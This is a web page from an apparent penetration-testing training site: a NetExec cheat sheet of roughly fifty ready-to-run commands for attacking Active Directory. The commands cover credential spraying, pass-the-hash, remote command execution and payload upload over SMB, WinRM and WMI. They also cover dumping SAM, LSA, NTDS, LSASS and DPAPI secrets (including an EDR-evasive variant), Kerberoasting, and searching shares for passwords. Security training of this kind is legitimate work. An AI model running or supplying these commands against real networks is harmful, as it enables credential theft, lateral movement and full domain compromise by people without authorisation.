active-directory
NetExec (CrackMapExec) — AD Lateral Movement
NetExec (nxc) — the Swiss Army knife for Windows/AD lateral movement, credential spraying, and post-exploitation.
SMB Enumeration & Auth (16)
nxc smb 192.168.1.0/24
Discover SMB hosts on subnet
nxc smb 10.10.10.1 -u user -p password
Test SMB credentials
nxc smb 10.10.10.1 -u user -H NTLMhash
SMB pass-the-hash
nxc smb 192.168.1.0/24 -u user -p password
Spray credentials across subnet
nxc smb 10.10.10.1 -u users.txt -p passwords.txt --continue-on-success
Credential spray with lists
nxc smb 10.10.10.1 -u user -p password --shares
Enumerate SMB shares
nxc smb 10.10.10.1 -u user -p password --sessions
List active SMB sessions
nxc smb 10.10.10.1 -u user -p password --users
Enumerate domain users via SMB
nxc smb 10.10.10.1 -u user -p password --groups
Enumerate domain groups
nxc smb 10.10.10.1 -u user -p password --pass-pol
Get password policy
nxc smb 10.10.10.1 -u user -p password --rid-brute
RID brute force to enumerate users/groups
nxc smb 10.10.10.1 -u user -p password --loggedon-users
List logged-on users (hunt where admins are sitting)
nxc smb 10.10.10.1 -u user -p password --local-auth
Authenticate with a LOCAL account instead of domain
nxc smb 10.10.10.1 -u '' -p ''
Null-session enumeration (no creds)
nxc smb 10.10.10.1 -u user -p password --computers
List domain computer objects
nxc smb 192.168.1.0/24 -u user -p password --gen-relay-list relay.txt
Find hosts with SMB signing OFF (relay target list)
Code Execution (7)
nxc smb 10.10.10.1 -u user -p password -x "whoami"
Execute command via SMB
nxc smb 10.10.10.1 -u user -p password -X "Get-Process"
Execute PowerShell command
nxc winrm 10.10.10.1 -u user -p password -x "whoami"
Execute via WinRM (PS Remoting)
nxc wmi 10.10.10.1 -u user -p password -x "whoami"
Execute via WMI
nxc smb 10.10.10.1 -u user -p password -x "whoami" --exec-method smbexec
Choose the exec method (atexec / smbexec / wmiexec / mmcexec)
nxc smb 10.10.10.1 -u user -p password --put-file ./payload.exe 'C:\Windows\Temp\p.exe'
Upload a file to the target
nxc smb 10.10.10.1 -u user -p password --get-file 'C:\Users\Administrator\Desktop\flag.txt' ./flag.txt
Download a file from the target
Credential Dumping (10)
nxc smb 10.10.10.1 -u user -p password --sam
Dump SAM hashes (local admin needed)
nxc smb 10.10.10.1 -u user -p password --lsa
Dump LSA secrets
nxc smb 10.10.10.1 -u user -p password --ntds
DCSync — dump NTDS.dit (DA needed)
nxc smb 10.10.10.1 -u user -p password -M mimikatz
Run Mimikatz module
nxc smb 10.10.10.1 -u user -p password -M lsassy
LSASS dump with lsassy module
nxc smb 10.10.10.1 -u user -p password --dpapi
Dump & decrypt DPAPI secrets (saved creds, browser, vaults)
nxc smb 10.10.10.1 -u user -p password --laps
Read LAPS local-admin passwords (where authorized)
nxc smb 10.10.10.1 -u admin -p password --ntds drsuapi
DCSync-style NTDS dump over DRSUAPI
nxc smb 10.10.10.1 -u user -p password -M nanodump
Dump LSASS via nanodump (more EDR-evasive)
nxc smb 10.10.10.1 -u user -p password -M gpp_password
Recover cPassword from SYSVOL GPP (MS14-025)
LDAP & Other Protocols (14)
nxc ldap 10.10.10.1 -u user -p password --asreproast asrep.txt
AS-REP Roasting via LDAP
nxc ldap 10.10.10.1 -u user -p password --kerberoasting kerb.txt
Kerberoasting via LDAP
nxc ldap 10.10.10.1 -u user -p password --bloodhound -ns 10.10.10.1 -c All
Collect BloodHound data via LDAP
nxc ldap 10.10.10.1 -u user -p password --gmsa
Dump gMSA passwords
nxc mssql 10.10.10.1 -u sa -p password -q "SELECT @@version"
MSSQL query execution
nxc mssql 10.10.10.1 -u sa -p password --local-auth
MSSQL with local auth
nxc ssh 10.10.10.1 -u user -p password -x "id"
SSH command execution
nxc rdp 192.168.1.0/24 -u user -p password
Test RDP credentials on subnet
nxc ldap 10.10.10.1 -u user -p password -M laps
Read LAPS passwords over LDAP
nxc ldap 10.10.10.1 -u user -p password --trusted-for-delegation
Find unconstrained-delegation accounts
nxc ldap 10.10.10.1 -u user -p password --password-not-required
Accounts with PASSWD_NOTREQD set
nxc ldap 10.10.10.1 -u user -p password -M adcs
Enumerate AD CS certificate authorities
nxc ldap 10.10.10.1 -u user -p password -M user-desc
Dump user descriptions (often contain passwords)
nxc winrm 192.168.1.0/24 -u user -p password
Sweep hosts for WinRM (evil-winrm) access
Modules & Spidering (6)
nxc smb 10.10.10.1 -u user -p password -M spider_plus
Spider every readable share and index files (JSON output)
nxc smb 10.10.10.1 -u user -p password --spider C$ --pattern password
Spider a specific share for a keyword
nxc smb 10.10.10.1 -u user -p password -M gpp_autologin
Find autologon credentials in Group Policy
nxc smb 10.10.10.1 -u user -p password -M enum_av
Enumerate installed AV / EDR products
nxc ldap 10.10.10.1 -u user -p password -M maq
Read the domain MachineAccountQuota
nxc smb -L
List all available NetExec modules for a protocol
Related Articles
5
Active Directory
ADCS Attacks (ESC1–ESC16)
AD CS is the quietest road to Domain Admin: one mis-set checkbox on a certificate template…
Active Directory
Active Directory Attacks
Deep dive into Active Directory attack techniques — Kerberoasting, AS-REP Roasting, Pass-t…
Network Security
Wireshark for Security Professionals
Master Wireshark for security work — capture and display filters, protocol dissection, det…
Network Security
OSI Model — The 7 Layers, Deep Dive
The reference model every networking interview asks about. All 7 layers explained with the…
Network Security
TCP/IP — The Internet's Wiring, Deep Dive
How packets actually move across the internet — the layered stack, IP headers, the iconic …
Related Courses
3
⭐ Premium
Intermediate
Network Penetration Testing
From host discovery to Active Directory attacks
⭐ Premium
Intermediate
Windows Privilege Escalation — Complete Course
From whoami /priv to NT AUTHORITY\SYSTEM — every technique, tool, and HTB/THM/PG practice …
Beginner
Networking Fundamentals for Pentesters
Understand how networks actually work — so you can break them. TCP/IP, routing, protocols,…